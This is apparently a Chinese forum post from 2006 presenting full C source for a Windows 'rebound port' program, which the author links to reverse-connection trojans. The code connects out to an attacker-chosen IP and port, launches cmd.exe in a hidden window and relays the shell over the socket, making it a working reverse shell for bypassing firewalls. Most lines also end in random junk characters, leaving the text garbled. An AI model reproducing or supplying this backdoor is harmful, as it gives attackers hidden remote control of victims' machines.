这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7e@Bkq0)
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/* ============================== x!9bvQT
Rebound port in Windows NT H?dEgubg7]
By wind,2006/7 .h;X5q1
===============================*/ G)y'ex k
#include ~DK=&hCd!
#include 0,[-4m
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#pragma comment(lib,"wsock32.lib") Fk&A2C}$b
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void OutputShell(); ;F>I+l_X
SOCKET sClient; /)xQ# yfX
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'lR f
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void main(int argc,char **argv) SrSm%Dv
{ yg@}j
WSADATA stWsaData; M9sB2Ips<
int nRet; K/XUF#^B]
SOCKADDR_IN stSaiClient,stSaiServer; [IW6F
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if(argc != 3) B7BikxUa
{ Ty"=3AvRLV
printf("Useage:\n\rRebound DestIP DestPort\n"); k.w}}78N2N
return; m?Dk(DJ
} Xw9"wAj
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WSAStartup(MAKEWORD(2,2),&stWsaData); ` oXL
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1"HSM=p
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stSaiClient.sin_family = AF_INET; T1~,.(#
stSaiClient.sin_port = htons(0); u=p-]?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kn7Qvk[+
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m3iB`
{ Z~Z+Yt;,9a
printf("Bind Socket Failed!\n"); lIL{*q(
return; 6dX l ny1H
} ;Ajy54}7
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stSaiServer.sin_family = AF_INET; W/|C
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @V#
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lIF*$#`oh*
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FUU/=)^P$
{ 2T#>66^@q
printf("Connect Error!"); /w*;|4~Bf
return; ^5![tTJ
} ]gGCy '*)
OutputShell(); $5m_)]w4a
} jF%[.n[BU
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void OutputShell() M4TFWOC1
{ W&(98}oT
char szBuff[1024]; `` mi9E
SECURITY_ATTRIBUTES stSecurityAttributes; 1f`=U0
OSVERSIONINFO stOsversionInfo; )Y+?)=~
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hV4B?##O
STARTUPINFO stStartupInfo; .Qeml4(`3
char *szShell; )|zna{g\
PROCESS_INFORMATION stProcessInformation; 0^{?kg2o_
unsigned long lBytesRead; -#?p16qz5
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); g?caE)
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1z[GY RSt
stSecurityAttributes.lpSecurityDescriptor = 0; y:+s*x6Vg
stSecurityAttributes.bInheritHandle = TRUE; s%R'c_cGZ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g"Z X1X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R7 *ek_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i\?P>:)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p;rGaLo:u
stStartupInfo.wShowWindow = SW_HIDE; {1ic*cZS
stStartupInfo.hStdInput = hReadPipe; +vtI1LC;_
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; p@7[w@B\c
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GetVersionEx(&stOsversionInfo); ihJC)m`Hbl
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switch(stOsversionInfo.dwPlatformId) #dgWXO
{ D%Y{(l+X
case 1: z3[0BWXs
szShell = "command.com"; -f-2!1&<3h
break; :J}@*>c
default: 8HLcDS#
szShell = "cmd.exe"; 7E9h!<5v
break; .1F^=C.w
} ep<2u
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k&1~yW
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send(sClient,szMsg,77,0); K>`7f]?H*e
while(1) d6.9]V?
{ &,Xs=Lvmq
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :oH"
if(lBytesRead) q_N8JQg
{ WqC6c&NM
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~4mgYzOmD`
send(sClient,szBuff,lBytesRead,0); .#;;pu7W
} fodr1M4J
else f#p.=F$
{ RkJ\?
lBytesRead=recv(sClient,szBuff,1024,0); sS $- PX
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if(lBytesRead<=0) break; { [4Y(l1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o"x&F
} [D H@>:"dd
} {O,Cc$_
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return; N+?kFob
}